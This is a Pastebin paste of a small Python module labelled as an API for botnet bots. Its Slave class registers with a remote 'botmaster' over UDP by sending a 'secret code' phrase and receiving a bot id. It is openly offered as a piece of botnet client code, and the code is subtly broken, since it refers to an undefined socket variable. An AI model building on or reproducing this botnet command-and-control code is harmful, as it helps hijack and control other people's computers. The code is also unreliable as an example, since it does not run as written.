Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # This module is an API for botnet bots.
- # See scheduler.py for botmaster.
- #
- # Code by Felix
- import socket
- class Slave:
- def __init__(self, host, myport=0):
- self.host = host
- self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- self.myport = myport
- s.bind(('', myport))
- # Returns unique id given by botmaster if successfull
- # Returns -1 if unsuccessfull
- def get_id(self):
- try:
- s.sendto('I am your slave.', self.host) # secret code
- data, addr = s.recvfrom(1024)
- if data.isdigit():
- return int(data)
- else:
- return -1
- except:
- return -1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement